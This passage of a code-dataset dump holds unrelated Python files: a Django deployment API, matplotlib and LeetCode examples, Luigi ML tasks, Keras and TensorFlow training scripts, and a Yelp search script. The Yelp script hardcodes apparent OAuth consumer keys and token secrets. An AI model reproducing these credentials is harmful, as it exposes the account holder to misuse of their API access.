NotAuthenticated,\n InvalidCredentials,\n validate_subdomain,\n)\n\n\ndef with_caught_exceptions(func):\n def wrapper(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n except BadInputException as e:\n return HttpResponseBadRequest(str(e))\n except NotFound:\n return HttpResponseNotFound()\n except NotAuthenticated:\n return HttpResponseForbidden(\"You must be logged into access this view\")\n except InvalidCredentials:\n return HttpResponseForbidden(\"Invalid username or password provided\")\n except Exception as e:\n print(\"Uncaught error: {}\".format(str(e)))\n traceback.print_exc()\n\n return HttpResponseServerError(\n \"An unhandled error occured while processing the request\"\n )\n\n return wrapper\n\n\ndef with_default_success(func):\n \"\"\" Decorator that returns a JSON success message if no errors occur during the request. \"\"\"\n\n def wrapper(*args, **kwargs):\n func(*args, **kwargs)\n return JsonResponse({\"success\": True, \"error\": False})\n\n return wrapper\n\n\ndef with_login_required(func):\n \"\"\" Decorator that verifies that a user is logged in and returns a Forbidden status code if\n the requester is not. \"\"\"\n\n def wrapper(router: TemplateView, req: HttpRequest, *args, **kwargs):\n if not req.user.is_authenticated:\n raise NotAuthenticated()\n\n return func(router, req, *args, **kwargs)\n\n return wrapper\n\n\n@require_GET\ndef index(_req: HttpRequest):\n return HttpResponse(\"Site is up and running! Try `GET /deployments`.\")\n\n\n@require_POST\n@with_caught_exceptions\n@with_default_success\ndef login_user(req: HttpRequest):\n username = None\n password = None\n try:\n username = req.POST[\"username\"]\n password = req.POST[\"password\"]\n except MultiValueDictKeyError:\n raise BadInputException(\"You must supply both a username and password\")\n\n user = authenticate(req, username=username, password=password)\n\n if user is not None:\n login(req, user)\n else:\n raise InvalidCredentials(\"Invalid username or password\")\n\n\ndef get_or_none(Model, do_raise=True, **kwargs):\n \"\"\" Lookups a model given some query parameters. If a match is found, it is returned.\n Otherwise, either `None` is returned or a `NotFound` exception is raised depending on\n the value of `do_raise`. \"\"\"\n\n try:\n return Model.objects.get(**kwargs)\n except Model.DoesNotExist:\n if do_raise:\n raise NotFound()\n else:\n return None\n\n\nclass Deployments(TemplateView):\n @with_caught_exceptions\n @with_login_required\n def get(self, request: HttpRequest):\n all_deployments = StaticDeployment.objects.prefetch_related(\n \"deploymentversion_set\", \"categories\"\n ).all()\n deployments_data = serialize(all_deployments, json=False)\n deployments_data_with_versions = [\n {\n **datum,\n \"versions\": serialize(deployment_model.deploymentversion_set.all(), json=False),\n \"categories\": serialize(deployment_model.categories.all(), json=False),\n }\n for (datum, deployment_model) in zip(deployments_data, all_deployments)\n ]\n\n return JsonResponse(deployments_data_with_versions, safe=False)\n\n @with_caught_exceptions\n @with_login_required\n def post(self, request: HttpRequest):\n form = get_validated_form(StaticDeploymentForm, request)\n\n deployment_name = form.cleaned_data[\"name\"]\n subdomain = form.cleaned_data[\"subdomain\"]\n version = form.cleaned_data[\"version\"]\n categories = form.cleaned_data[\"categories\"].split(\",\")\n validate_deployment_name(deployment_name)\n validate_subdomain(subdomain)\n\n deployment_descriptor = None\n try:\n with transaction.atomic():\n # Create the new deployment descriptor\n deployment_descriptor = StaticDeployment(name=deployment_name, subdomain=subdomain)\n deployment_descriptor.save()\n\n # Create categories\n for category in categories:\n (category_model, _) = DeploymentCategory.objects.get_or_create(\n category=category\n )\n deployment_descriptor.categories.add(category_model)\n\n # Create the new version and set it as active\n version_model = DeploymentVersion(\n version=version, deployment=deployment_descriptor, active=True\n )\n version_model.save()\n\n handle_uploaded_static_archive(request.FILES[\"file\"], subdomain, version)\n except IntegrityError as e:\n if \"Duplicate entry\" in str(e):\n raise BadInputException(\"`name` and `subdomain` must be unique!\")\n else:\n raise e\n\n return JsonResponse(\n {\n \"name\": deployment_name,\n \"subdomain\": subdomain,\n \"version\": version,\n \"url\": deployment_descriptor.get_url(),\n }\n )\n\n\ndef get_query_dict(query_string: str, req: HttpRequest) -> dict:\n lookup_field = req.GET.get(\"lookupField\", \"id\")\n if lookup_field not in [\"id\", \"subdomain\", \"name\"]:\n raise BadInputException(\"The supplied `lookupField` was invalid\")\n\n return {lookup_field: query_string}\n\n\nclass Deployment(TemplateView):\n @with_caught_exceptions\n def get(self, req: HttpRequest, deployment_id=None):\n query_dict = get_query_dict(deployment_id, req)\n deployment = get_or_none(StaticDeployment, **query_dict)\n versions = DeploymentVersion.objects.filter(deployment=deployment)\n active_version = next(v for v in versions if v.active)\n\n deployment_data = serialize(deployment, json=False)\n versions_data = serialize(versions, json=False)\n versions_list = list(map(lambda version_datum: version_datum[\"version\"], versions_data))\n\n deployment_data = {\n **deployment_data,\n \"versions\": versions_list,\n \"active_version\": serialize(active_version, json=False)[\"version\"],\n }\n\n return JsonResponse(deployment_data, safe=False)\n\n @with_caught_exceptions\n @with_login_required\n @with_default_success\n def delete(self, req: HttpRequest, deployment_id=None):\n with transaction.atomic():\n query_dict = get_query_dict(deployment_id, req)\n deployment = get_or_none(StaticDeployment, **query_dict)\n deployment_data = serialize(deployment, json=False)\n # This will also recursively delete all attached versions\n deployment.delete()\n\n delete_hosted_deployment(deployment_data[\"name\"])\n\n\nclass DeploymentVersionView(TemplateView):\n @with_caught_exceptions\n def get(\n self, req: HttpRequest, *args, deployment_id=None, version=None\n ): # pylint: disable=W0221\n query_dict = get_query_dict(deployment_id, req)\n deployment = get_or_none(StaticDeployment, **query_dict)\n version_model = get_or_none(DeploymentVersion, deployment=deployment, version=version)\n return serialize(version_model)\n\n @with_caught_exceptions\n @with_login_required\n def post(self, req: HttpRequest, deployment_id=None, version=None):\n query_dict = get_query_dict(deployment_id, req)\n deployment = get_or_none(StaticDeployment, **query_dict)\n\n # Assert that the new version is unique among other versions for the same deployment\n if DeploymentVersion.objects.filter(deployment=deployment, version=version):\n raise BadInputException(\"The new version name must be unique.\")\n\n version_model = None\n with transaction.atomic():\n # Set any old active deployment as inactive\n old_version = DeploymentVersion.objects.get(deployment=deployment, active=True)\n if old_version:\n old_version.active = False\n old_version.save()\n\n # Create the new version and set it active\n version_model = DeploymentVersion(version=version, deployment=deployment, active=True)\n version_model.save()\n\n deployment_data = serialize(deployment, json=False)\n\n # Extract the supplied archive into the hosting directory\n handle_uploaded_static_archive(\n req.FILES[\"file\"], deployment_data[\"subdomain\"], version, init=False\n )\n # Update the `latest` version to point to this new version\n update_symlink(deployment_data[\"name\"], version)\n\n return serialize(version_model)\n\n @with_caught_exceptions\n @with_login_required\n @with_default_success\n def delete(self, req: HttpRequest, deployment_id=None, version=None):\n with transaction.atomic():\n query_dict = get_query_dict(deployment_id, req)\n deployment = get_or_none(StaticDeployment, **query_dict)\n deployment_data = serialize(deployment, json=False)\n # Delete the entry for the deployment version from the database\n DeploymentVersion.objects.filter(deployment=deployment, version=version).delete()\n # If no deployment versions remain for the owning deployment, delete the deployment\n delete_deployment = False\n if not DeploymentVersion.objects.filter(deployment=deployment):\n delete_deployment = True\n deployment.delete()\n\n if delete_deployment:\n delete_hosted_deployment(deployment_data[\"name\"])\n else:\n delete_hosted_version(deployment_data[\"name\"], version)\n","sub_path":"server/serversite/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"438465107","text":"#!/usr/bin/env python \n# encoding: utf-8 \n\n\"\"\" \n@version: v1.0 \n@author: Jinato \n@file: matplotlib_ex04.py \n@time: 2017/12/8 21:03 \n\"\"\"\n#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\" \n@version: v1.0 \n@author: Jinato \n@file: matplotlib_ex03.py \n@time: 2017/12/8 20:50 \n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.linspace(-3, 3, 50)\ny1 = 2 * x + 1\ny2 = x ** 2\n\nplt.figure(num=3, figsize=(8, 5))\nplt.plot(x, y2)\nplt.plot(x, y1, color='red', linewidth=1., linestyle='--')\nplt.xlim((-1, 2))\nplt.ylim((-2, 3))\nplt.xlabel('x label')\nplt.ylabel('y label')\n\nnew_ticks = np.linspace(-1, 2, 5)\nprint(new_ticks)\n\nplt.yticks([-2, -1.5, -1, 1.7, 2],\n ['$really\\ bad$','$bad\\ \\\\alpha$', '$normal$', '$good$', '$really\\ good$'])\nplt.xticks(new_ticks)\n\nax = plt.gca()\nax.spines['right'].set_color('none')\nax.spines['top'].set_color('none')\n\nax.xaxis.set_ticks_position('bottom')\nax.yaxis.set_ticks_position('left')\nax.spines['bottom'].set_position(('data', -1))\nax.spines['left'].set_position(('data', 0))\n\nplt.show()","sub_path":"matplotlib_ex04.py","file_name":"matplotlib_ex04.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"615190722","text":"from typing import List\n\n\nclass Solution:\n def findContentChildren(self, g: List[int], s: List[int]) -> int:\n g.sort()\n s.sort()\n res = 0\n idx = 0\n\n for greedy in g:\n for j in range(idx, len(s), 1):\n if greedy <= s[j]:\n res += 1\n idx = j+1\n break\n return res\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.findContentChildren([1,2], [1,2,3]))\n","sub_path":"leetcode/greedy/assign_cookies.py","file_name":"assign_cookies.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"173038164","text":"from ..cross_validate import CrossValidate\nimport luigi\nfrom luigi.util import inherits\nfrom utils.luigi import task\nimport pickle\nimport numpy as np\nfrom ..featurize import FeaturizeTrain, FeaturizeDoenchTest, Standardize, FeaturizeAchillesTest\nfrom ..featurize import DoenchTestData\nimport pandas as pd\nfrom sklearn import ensemble\nfrom sklearn import linear_model\nfrom sklearn import preprocessing\nfrom copy import deepcopy\n\n\nclass BestModel(luigi.Task):\n __version__ = '0.3'\n features = luigi.DictParameter()\n guide_start = luigi.IntParameter()\n guide_length = luigi.IntParameter()\n pam_start = luigi.IntParameter()\n pam_length = luigi.IntParameter()\n activity_column = luigi.Parameter()\n kmer_column = luigi.Parameter()\n\n requires = task.Requires()\n\n example = True\n if example:\n cv_lasso = task.Requirement(CrossValidate, model_str='lasso',\n param_grid = {'alpha': np.logspace(-3, 0, 100).tolist()})\n else:\n cv_gb = task.Requirement(CrossValidate, model_str='GB',\n param_grid = {'max_depth': [int(x) for x in np.linspace(2, 40, 30)],\n 'max_features': np.linspace(0.01, 0.3, 50).tolist(),\n 'min_samples_split': np.linspace(0.01, 0.4, 50).tolist(),\n 'subsample': np.linspace(0.6, 1, 50).tolist(),\n 'alpha': np.linspace(0.5,0.99, 50).tolist()})\n # cv_nn = task.Requirement(CrossValidate, model_str = 'NN',\n # param_grid = {'alpha':np.logspace(-4, -0.01, 100).tolist(),\n # 'learning_rate_init': np.linspace(0.001, 0.3, 50).tolist()})\n # cv_gb = task.Requirement(CrossValidate, model_str = 'GB',\n # param_grid = {'alpha': [0.5]})\n\n output = task.SaltedOutput(base_dir='data/models', ext='.pickle', format=luigi.format.Nop)\n\n def run(self):\n reqs = self.requires()\n best_fit = None\n for model, cv_x in reqs.items():\n with cv_x.output().open('rb') as f:\n cv_model = pickle.load(f)\n score = cv_model.best_score_\n curr_estimator = cv_model.best_estimator_\n if best_fit is None:\n best_estimator = curr_estimator\n best_fit = score\n elif best_fit < score:\n best_estimator = curr_estimator\n best_fit = score\n\n with self.output().open('wb') as f:\n pickle.dump(best_estimator, f)\n\ndef score_coefs(X, y, B, a):\n \"\"\"Rank each model coefficient by fraction of variance explained\n\n :param X: predictor matrix\n :param y: response matrix\n :param B: model coefficients\n :return ranked_coefs: vector of variance explained for each coefficient in B\n \"\"\"\n model_residuals = np.matmul(X, B) + a - y\n model_variance = np.var(model_residuals)\n coef_score = []\n for i in range(len(B)):\n if B[i] == 0:\n coef_score.append(0)\n else:\n curr_B = deepcopy(B)\n curr_B[i] = 0\n curr_residuals = np.matmul(X, curr_B) + a - y\n curr_variance = np.var(curr_residuals)\n coef_score.append(1-model_variance/curr_variance)\n return coef_score*np.sign(B)\n\n\nclass ModelCoefficients(luigi.Task):\n __version__ = '0.3'\n features = luigi.DictParameter()\n guide_start = luigi.IntParameter()\n guide_length = luigi.IntParameter()\n pam_start = luigi.IntParameter()\n pam_length = luigi.IntParameter()\n\n requires = task.Requires()\n\n model = task.Requirement(BestModel, activity_column ='percentile',\n kmer_column = 'X30mer')\n scaler = task.Requirement(Standardize, activity_column='percentile',\n kmer_column='X30mer')\n train_mat = task.Requirement(FeaturizeTrain, activity_column = 'percentile',\n kmer_column = 'X30mer')\n output = task.SaltedOutput(base_dir='data/models', ext='.csv')\n\n def run(self):\n reqs = self.requires()\n with reqs['model'].output().open('rb') as f:\n model = pickle.load(f)\n with reqs['train_mat'].output().open('r') as f:\n train_mat = pd.read_csv(f)\n with reqs['scaler'].output().open('r') as f:\n scaler = pickle.load(f)\n X = train_mat[train_mat.columns.difference(['activity', 'kmer'])]\n if model.__class__ == ensemble.GradientBoostingRegressor:\n importances = model.feature_importances_\n elif model.__class__ == linear_model.Lasso:\n importances = score_coefs(scaler.transform(X), train_mat['activity'],\n model.coef_, model.intercept_)\n feature_importances = pd.DataFrame({'feature': X.keys(),\n 'importance': importances})\n with self.output().open('w') as f:\n feature_importances.to_csv(f, index=False)\n\n\nclass PredictModel(luigi.Task):\n __version__ = '0.2'\n features = luigi.DictParameter()\n guide_start = luigi.IntParameter()\n guide_length = luigi.IntParameter()\n pam_start = luigi.IntParameter()\n pam_length = luigi.IntParameter()\n true_val = luigi.BoolParameter(default=True)\n\n requires = task.Requires()\n model = task.Requirement(BestModel, activity_column ='percentile',\n kmer_column = 'X30mer')\n test_mat = task.Requirement(FeaturizeAchillesTest, activity_column='sgRNA.measured.value',\n kmer_column='X30mer')\n scaler = task.Requirement(Standardize, activity_column ='percentile',\n kmer_column = 'X30mer')\n\n output = task.SaltedOutput(base_dir='data/predictions', ext='.csv')\n\n def run(self):\n reqs = self.requires()\n with reqs['model'].output().open('rb') as f:\n model = pickle.load(f)\n with reqs['test_mat'].output().open('r') as f:\n test_mat = pd.read_csv(f)\n with reqs['scaler'].output().open('rb') as f:\n scaler = pickle.load(f)\n y = test_mat['activity']\n X = test_mat[test_mat.columns.difference(['activity', 'kmer'])]\n X_train = scaler.transform(X)\n #X_train = X\n predictions = model.predict(X_train)\n prediction_mat = pd.DataFrame({'kmer': test_mat['kmer'], 'true': y, 'predicted': predictions})\n with self.output().open('w') as f:\n prediction_mat.to_csv(f, index=False)\n\n\n\n\n\n","sub_path":"guide_design/tasks/model/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"485456736","text":"import sys\nimport io\nimport requests\nimport json\nimport oauth2\n\nauthInfo = {\n \"Consumer Key\": \"mV7zef44HxfKunaHcU2Ptw\",\n \"Consumer Secret\": \"5MPP4fR5U2d9X-IO_txkp8_6FvI\",\n \"Token\": \"y6dxIzlDgBiC2GAPW8wawaT_ya2w1Y7n\",\n \"Token Secret\": \"_5B_U4r98_0N4cr4Gvp0MK6oQ9E\"\n }\n\ndef main(input_message):\n input_split = input_message.split(':')\n input_split.reverse()\n input_endpoint = None\n input_city = None\n input_keywords = None\n\n params = {\n 'sort' : '2',\n 'term': 'restaurant',\n 'location': input_city\n }\n\n if len(input_split) > 0:\n input_endpoint = input_split.pop()\n if input_endpoint == '?':\n print(\"Input format: event:city:keywords:category\")\n print(\"Input format: place:city:keywords\")\n print(\"Input format: yelp:city:keywords\")\n return\n\n if len(input_split) > 0:\n input_city = str(input_split.pop())\n\n if len(input_split) > 0:\n input_keywords = str(input_split.pop())\n\n if input_city == None or input_city == '':\n return\n\n # read API keys\n consumer = oauth2.Consumer(authInfo['Consumer Key'], authInfo['Consumer Secret'])\n token = oauth2.Token(authInfo['Token'], authInfo['Token Secret'])\n oauth_request = oauth2.Request(method=\"GET\", url=\"https://api.yelp.com/v2/search\", parameters=params)\n\n oauth_request.update(\n {\n 'sort' : '2',\n 'term': input_keywords + ' restaurant' if input_keywords != None else 'restaurant',\n 'location': input_city,\n 'limit': '5',\n 'oauth_nonce': oauth2.generate_nonce(),\n 'oauth_timestamp': oauth2.generate_timestamp(),\n 'oauth_token': authInfo['Token'],\n 'oauth_consumer_key': authInfo['Consumer Key']\n }\n )\n token = oauth2.Token(authInfo['Token'], authInfo['Token Secret'])\n oauth_request.sign_request(oauth2.SignatureMethod_HMAC_SHA1(), consumer, token)\n signed_url = oauth_request.to_url()\n\n response = requests.get(signed_url).json()\n\n if response['total'] == 0:\n print(\"No result\")\n return\n\n for business in response['businesses']:\n print(str(business['name']) + ' located at ' + str(business['location']['display_address'][0]) + ' ' + str(business['location']['display_address'][1]))\n\n\nif __name__ == '__main__':\n input_message = sys.argv[1]\n main(input_message)\n","sub_path":"yelpapi.py","file_name":"yelpapi.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"20188787","text":"# train using https://pypi.org/project/keras-self-attention/\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n# import re\n# import tensorflow as tf\n# from tensorflow import keras\n# import h5py\n# import numpy as np\n\nimport os\nimport re\nimport argparse\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport tensorflow as tf\nfrom tensorflow import keras\n# from tensorflow.keras.utils import get_file, to_categorical, CustomObjectScope\nfrom tensorflow.keras.losses import categorical_crossentropy\nfrom tensorflow.keras.metrics import categorical_accuracy\n# from tensorflow.keras import Model\n# from tensorflow.keras.layers import Layer, Lambda, Input, Embedding, Bidirectional, Flatten, Dense, GRU, Dropout, BatchNormalization\n# from tensorflow.compat.v1.keras.layers import CuDNNLSTM\n# # from https://github.com/ongunuzaymacar/attention-mechanisms\n# from attention.layers import Attention, SelfAttention\nfrom attention_model import AttentionModel\n\n# def root_mean_squared_error(y_true, y_pred):\n# return K.sqrt(K.mean(K.square(y_pred - y_true)))\n\ndef perplexity(labels, logits):\n \"\"\"Calculates perplexity metric = 2^(entropy) or e^(entropy)\"\"\"\n return pow(2, categorical_crossentropy(y_true=labels, y_pred=logits))\n\ndef main():\n # load test data\n filename = \"data/mixed.txt\"\n raw_text = open(filename, 'r', encoding='utf-8').read()\n print('-> Raw text length:', len(raw_text))\n raw_text = raw_text.lower()[:700000]\n raw_text = re.sub('\\n', \" \", raw_text)\n\n # create mapping of unique chars to integers\n chars = sorted(list(set(raw_text)))\n # print('-> chars:', chars)\n char_to_int = dict((c, i) for i, c in enumerate(chars))\n int_to_char = dict((i, c) for i, c in enumerate(chars))\n print('-> int to char:', int_to_char)\n # print('-> char to int:', char_to_int)\n # print(char_to_int)\n # char_to_int = {' ': 0, '!': 1, '%': 2, '&': 3, \"'\": 4, ',': 5, '-': 6, '.': 7, '/': 8, '0': 9, '1': 10, '2': 11, '3': 12, '4': 13, '5': 14, '6': 15, '7': 16, '8': 17, '9': 18, ':': 19, ';': 20, '<': 21, '>': 22, '?': 23, 'a': 24, 'b': 25, 'c': 26, 'd': 27, 'e': 28, 'f': 29, 'g': 30, 'h': 31, 'i': 32, 'j': 33, 'k': 34, 'l': 35, 'm': 36, 'n': 37, 'o': 38, 'p': 39, 'q': 40, 'r': 41, 's': 42, 't': 43, 'u': 44, 'v': 45, 'w': 46, 'x': 47, 'y': 48, 'z': 49, '~': 50, '—': 51}\n char_list = list(char_to_int.keys())\n raw_text = ''.join([i for i in raw_text if i in char_list])\n print('-> char to int:', char_to_int)\n # summarize the loaded data\n n_chars = len(raw_text)\n n_vocab = len(char_list)\n print(\"-> Total Characters: \", n_chars)\n print(\"-> Total Vocab: \", n_vocab)\n # prepare the dataset of input to output pairs encoded as integers\n seq_length = 100\n sentences = []\n next_chars = []\n for i in range(0, n_chars - seq_length, 1):\n sentences.append(raw_text[i:i+seq_length])\n next_chars.append(raw_text[i+seq_length])\n\n n_patterns = len(sentences)\n print(\"Total Patterns: \", n_patterns)\n\n X = np.zeros((n_patterns, seq_length, n_vocab), dtype=np.bool)\n y = np.zeros((n_patterns, n_vocab), dtype=np.bool)\n\n for i, sentence in enumerate(sentences):\n for t, char in enumerate(sentence):\n X[i, t, char_to_int[char]] = 1\n y[i, char_to_int[next_chars[i]]] = 1\n\n\n print('- Input:',X[0,:,:].shape)\n print('- Output:',y[0].shape)\n\n X_train, X_test, y_train, y_test = train_test_split(X,\n y,\n test_size=0.2,\n random_state=42)\n\n batch_size = 100\n\n # if we want to change batch size during training\n # dynamic_batch = True\n dynamic_batch = False\n\n n_epochs = 40\n # opt = keras.optimizers.Adam()\n # opt = keras.optimizers.Adadelta()\n opt = keras.optimizers.RMSprop(lr=0.001)\n\n sen_len = seq_length\n emb_len = n_vocab\n\n # which iteration of models to load\n # next_it = 2\n # # encoder_output, attention_weights = SelfAttention(size=50,\n # # num_hops=16,\n # # use_penalization=False)(x)\n\n checkpoint_path = \"models/char_att4/\"\n\n # Create checkpoint callback\n cp_callback = keras.callbacks.ModelCheckpoint(checkpoint_path,\n monitor='val_accuracy',\n verbose=1,\n save_weights_only=True,\n mode='max',\n save_best_only=True)\n\n load_model = False\n # load_model = True\n\n am = AttentionModel(checkpoint_path = checkpoint_path,\n rnn_size = 512,\n rnn_style = 'CuDNNLSTM',\n dropout_rate = 0.3,\n load_model = load_model)\n # am.build_model()\n am.model.compile(\n optimizer=opt,\n loss='categorical_crossentropy',\n metrics=['accuracy', perplexity, categorical_accuracy],\n )\n # print(am.model.summary())\n am.save_config()\n\n am.model.fit(X_train,\n y_train,\n batch_size = batch_size,\n validation_data=(X_test, y_test),\n callbacks = [cp_callback],\n epochs=n_epochs)\n # for i in range(n_epochs):\n # full_new_path = 'models/char_att_{}_epoch_{}.h5'.format(next_it, i)\n # # set batch size dynamically\n # if dynamic_batch:\n # if i == 1:\n # batch_size = 128\n # elif i == 2:\n # batch_size = 64\n # else:\n # batch_size = 32\n\n # fit using the batch generators\n # model.fit_generator(bg_train,\n # validation_data=bg_test,\n # use_multiprocessing=True,\n # workers=4,\n # epochs=40)\n # validation_data=(oba_in_tests, oba_out_test))\n # print('-> Saving to', full_new_path)\n # with CustomObjectScope({'SelfAttention': SelfAttention,\n # 'Attention': Attention,\n # 'perplexity': perplexity}):\n # model.save(full_new_path)\n\nif __name__ == '__main__':\n main()\n","sub_path":"train_chars2.py","file_name":"train_chars2.py","file_ext":"py","file_size_in_byte":6508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"95280265","text":"# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Generic training script that trains a model using a given dataset.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nimport matplotlib.pyplot as plt\nimport cv2\nimport numpy as np\n\nimport os\nimport sys\n\n# This is needed since the notebook is stored in the object_detection folder.\nTF_API=\"/home/robin/eclipse-workspace-python/TF_models/models/research/slim\"\nsys.path.append(os.path.split(TF_API)[0])\nsys.path.append(TF_API)\n\nfrom datasets import dataset_factory\nfrom deployment import model_deploy\nfrom nets import nets_factory\nfrom preprocessing import preprocessing_factory\nfrom datasets import dataset_utils\n\nslim = tf.contrib.slim\n\ntf.app.flags.DEFINE_integer('num_clones', 1,\n 'Number of model clones to deploy. Note For '\n 'historical reasons loss from all clones averaged '\n 'out and learning rate decay happen per clone '\n 'epochs')\n\ntf.app.flags.DEFINE_boolean('clone_on_cpu', False,\n 'Use CPUs to deploy clones.')\n\ntf.app.flags.DEFINE_integer('worker_replicas', 1, 'Number of worker replicas.')\n\ntf.app.flags.DEFINE_integer(\n 'num_ps_tasks', 0,\n 'The number of parameter servers. If the value is 0, then the parameters '\n 'are handled locally by the worker.')\n\ntf.app.flags.DEFINE_integer(\n 'num_readers', 4,\n 'The number of parallel readers that read data from the dataset.')\n\ntf.app.flags.DEFINE_integer(\n 'num_preprocessing_threads', 4,\n 'The number of threads used to create the batches.')\n\ntf.app.flags.DEFINE_integer(\n 'task', 0, 'Task id of the replica running the training.')\n\n######################\n# Optimization Flags #\n######################\n\ntf.app.flags.DEFINE_float(\n 'weight_decay', 0.00004, 'The weight decay on the model weights.')\n\n#######################\n# Dataset Flags #\n#######################\n\ntf.app.flags.DEFINE_string(\n 'dataset_name', 'imagenet', 'The name of the dataset to load.')\n\ntf.app.flags.DEFINE_string(\n 'dataset_split_name', 'validation', 'The name of the train/test split.')\n\ntf.app.flags.DEFINE_string(\n 'dataset_dir', \"/home/robin/Dataset/imaget/output_tfrecord\", 'The directory where the dataset files are stored.')\n\ntf.app.flags.DEFINE_integer(\n 'labels_offset', 0,\n 'An offset for the labels in the dataset. This flag is primarily used to '\n 'evaluate the VGG and ResNet architectures which do not use a background '\n 'class for the ImageNet dataset.')\n\ntf.app.flags.DEFINE_string(\n 'model_name', 'inception_v1', 'The name of the architecture to train.')\n\ntf.app.flags.DEFINE_string(\n 'preprocessing_name', None, 'The name of the preprocessing to use. If left '\n 'as `None`, then the model_name flag is used.')\n\ntf.app.flags.DEFINE_integer(\n 'batch_size', 12, 'The number of samples in each batch.')\n\ntf.app.flags.DEFINE_integer(\n 'train_image_size', None, 'Train image size')\n\ntf.app.flags.DEFINE_integer('max_number_of_steps', None,\n 'The maximum number of training steps.')\n\nFLAGS = tf.app.flags.FLAGS\n\n\ndef main(_):\n if not FLAGS.dataset_dir:\n raise ValueError('You must supply the dataset directory with --dataset_dir')\n\n tf.logging.set_verbosity(tf.logging.INFO)\n with tf.Graph().as_default():\n #######################\n # Config model_deploy #\n #######################\n deploy_config = model_deploy.DeploymentConfig(\n num_clones=FLAGS.num_clones,\n clone_on_cpu=FLAGS.clone_on_cpu,\n replica_id=FLAGS.task,\n num_replicas=FLAGS.worker_replicas,\n num_ps_tasks=FLAGS.num_ps_tasks)\n\n # Create global_step\n with tf.device(deploy_config.variables_device()):\n global_step = slim.create_global_step()\n\n ######################\n # Select the dataset #\n ######################\n dataset = dataset_factory.get_dataset(\n FLAGS.dataset_name, FLAGS.dataset_split_name, FLAGS.dataset_dir)\n\n ######################\n # Select the network #\n ######################\n network_fn = nets_factory.get_network_fn(\n FLAGS.model_name,\n num_classes=(dataset.num_classes - FLAGS.labels_offset),\n weight_decay=FLAGS.weight_decay,\n is_training=False)\n\n #####################################\n # Select the preprocessing function #\n #####################################\n preprocessing_name = FLAGS.preprocessing_name or FLAGS.model_name\n image_preprocessing_fn = preprocessing_factory.get_preprocessing(\n preprocessing_name,\n is_training=False)\n\n ##############################################################\n # Create a dataset provider that loads data from the dataset #\n ##############################################################\n with tf.device(deploy_config.inputs_device()):\n provider = slim.dataset_data_provider.DatasetDataProvider(\n dataset,\n num_readers=FLAGS.num_readers,\n common_queue_capacity=20 * FLAGS.batch_size,\n common_queue_min=10 * FLAGS.batch_size)\n [image, label,label_text, bbox] = provider.get(['image', 'label','label_text','object/bbox'])\n label -= FLAGS.labels_offset\n\n train_image_size = FLAGS.train_image_size or network_fn.default_image_size\n# print(train_image_size)\n\n image = image_preprocessing_fn(image, train_image_size, train_image_size)\n\n images, labels,label_texts = tf.train.batch(\n [image, label,label_text],\n batch_size=FLAGS.batch_size,\n num_threads=FLAGS.num_preprocessing_threads,\n capacity=5 * FLAGS.batch_size)\n labels = slim.one_hot_encoding(\n labels, dataset.num_classes - FLAGS.labels_offset)\n batch_queue = slim.prefetch_queue.prefetch_queue(\n [images, labels,label_texts], capacity=2 * deploy_config.num_clones)\n \n \n images, labels,label_texts = batch_queue.dequeue()\n print(images, labels, label_texts)\n logits, end_points = network_fn(images)\n \n \n labels_to_class_names = dataset_utils.read_label_file(FLAGS.dataset_dir, filename='labels.txt')\n# print(labels_to_class_names)\n# print(dataset.labels_to_names)\n\n \n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n \n coord=tf.train.Coordinator() \n threads= tf.train.start_queue_runners(coord=coord)\n\n# images_np, labels_np,label_texts_out = sess.run([images, labels,label_texts])\n# print(images_np.shape, labels_np.shape,label_texts_out[0])\n \n for i in range(10):\n image_np, label_np, label_texts_out=sess.run([images, labels,label_texts])\n \n# plt.imshow(image_np[0,:,:,:])\n# plt.title('label name:'+str(label_np[0]))\n# plt.show()\n\n cv2.imshow('label name:',cv2.cvtColor(image_np[0],cv2.COLOR_RGB2BGR))\n print(labels_to_class_names[np.argmax(label_np[0])],\" true_label:\",label_texts_out[0])\n cv2.waitKey(0)\n \n coord.request_stop() \n coord.join(threads)\n\nif __name__ == '__main__':\n tf.app.run()\n","sub_path":"tfrecord_image_decode_imagenet.py","file_name":"tfrecord_image_decode_imagenet.py","file_ext":"py","file_size_in_byte":7871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"406271196","text":"import urllib2\r\nimport xml.dom.minidom\r\nimport datetime\r\nimport pylab\r\n\r\n\"\"\"\r\nObtains and displays the streaming times for a own3d.tv streamer.\r\n\"\"\"\r\n\r\nchannelName = \"destiny\" # Choose a channel name\r\n\r\n# Get videos dom elements\r\nf = urllib2.urlopen(\"http://api.own3d.tv/api.php?channel=\" + channelName)\r\ndata = f.read()\r\nf.close()\r\ndom = xml.dom.minidom.parseString(data)\r\nvideos = 